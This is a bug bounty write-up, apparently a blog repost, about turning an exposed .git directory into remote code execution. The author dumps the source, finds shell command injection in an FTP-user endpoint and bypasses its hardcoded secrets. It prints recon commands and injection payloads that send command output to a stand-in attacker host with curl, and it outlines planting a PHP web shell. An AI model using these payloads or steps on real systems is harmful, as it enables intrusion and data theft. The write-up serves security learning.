Git Exposure to Remote Code Execution Reward $10.000

Git Exposure RCE - $10.000 bounty for exposed .git to RCE

If you spend enough time in bug bounty, you start realizing something: high-impact vulnerabilities rarely appear out of nowhere. They usually start from something small, ignored, or considered “low severity.” One of the most overlooked examples is an exposed .git/ directory.

Many hunters report it immediately and move on. That’s fine—but sometimes that’s leaving money on the table. In one of my engagements, what looked like a basic misconfiguration turned into a full Remote Code Execution (RCE) chain.

Recon That Scales (Not Perfection)

I wasn’t doing anything fancy. The goal was simple: cover as much surface area as possible and let automation highlight weak spots. My recon pipeline looked like this:

amass enum -active -d $1 -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txt
cat amass.txt | aquatone -ports xlarge -out aqua_$1
nuclei -l aqua_$1/aquatone_urls.txt -t ~/nuclei-templates -es info -o nuclei_$1.txt

This isn’t deep recon—it’s wide recon. The idea is to quickly scan hundreds (or thousands) of hosts and identify anything interesting without getting stuck too early.

And it worked. The output from nuclei flagged multiple endpoints exposing .git/ directories.

Why Exposed .git Is Just the Beginning

At this point, most people would report the issue and move on. But exposed source code is rarely the real vulnerability—it’s just access to the blueprint.

Using a simple tool:

git-dumper http://example.com/.git/ output

I downloaded the full repository and started digging.

This is where things get interesting. When you read real production code, you’re not looking for textbook vulnerabilities—you’re looking for shortcuts developers took under pressure.

The Moment It Turns Serious

Inside the codebase, I found a feature responsible for managing FTP users. Nothing unusual at first glance—until I saw how it worked.

The backend was calling local bash scripts using shell_exec(), and user input was passed directly into the command without proper sanitization.

That’s the kind of mistake that doesn’t look dangerous until you realize what it means: command injection.

Even worse, this functionality was exposed through an HTTP endpoint. The only protection? A couple of hardcoded “secret” parameters used for validation.

Bypassing Weak Validation

Hardcoded secrets often give a false sense of security. Once you have the source code, they’re no longer secrets.

After analyzing the logic, I was able to craft a request like this:

http://example.com/ftp-upload/sync.php?deluser=someuser&secret1=[secret1]&secret2=[sha1_encoded_secret2]

The key parameter here was deluser—this was directly injected into a shell command.

Validating RCE the Smart Way

Instead of going straight for a shell, I prefer lightweight validation first. It’s faster, safer, and less noisy.

I injected a payload that triggered a simple outbound request:

someusr; curl https://evil.com/test

When the request hit my server, I knew the injection worked.

From there, I confirmed command execution more clearly by encoding output:

someusr; curl https://evil.com/$(id|base64|tr -d "\n")

This allowed me to capture command output remotely without needing direct response visibility.

Getting a Shell (With Constraints)

The final step was gaining persistent access. But there was a small obstacle—the current directory didn’t have write permissions.

This is where practical experience matters. Instead of forcing it, I looked for writable paths and found uploads/.

The process looked like this:

• Generate a web shell locally (I used a lightweight PHP agent)
• Host it on my server
• Expose it via a tunnel
• Use command injection to download it into uploads/shell.php

Once uploaded, connecting to the shell was straightforward.

What Most People Miss

The real takeaway here isn’t the tools or payloads—it’s the mindset.

Exposed .git is reported every day. But in many cases, it’s treated as the final finding instead of the starting point.

In my experience, the real value comes from asking one extra question:

“What does this exposure allow me to understand?”

Source code reveals assumptions, shortcuts, and trust boundaries. That’s where real vulnerabilities live.

A Reality Check About Bug Bounty

This wasn’t my first attempt—and definitely not my first success.

In fact, most of the time, nothing comes out of it. Reports get closed, duplicates happen, or companies simply ignore submissions.

If I had to be honest: 9 out of 10 times, you get nothing.

But the one time it works—it makes up for all the others.

Actionable Takeaways

• Don’t stop at exposed assets—treat them as entry points
• Always download and review source code when possible
• Look for unsafe patterns, not just known vulnerabilities
• Validate injection with minimal payloads before going loud
• Adapt to constraints instead of forcing exploitation paths

Final Thoughts

Bug bounty isn’t about luck. It’s about consistency, curiosity, and knowing when to dig deeper than everyone else.

An exposed .git/ directory might look boring—but in the right hands, it’s often the first step toward something much bigger.

Reference:https://medium.com/@levshmelevv/10-000-bounty-for-exposed-git-to-rce-304c7e1f54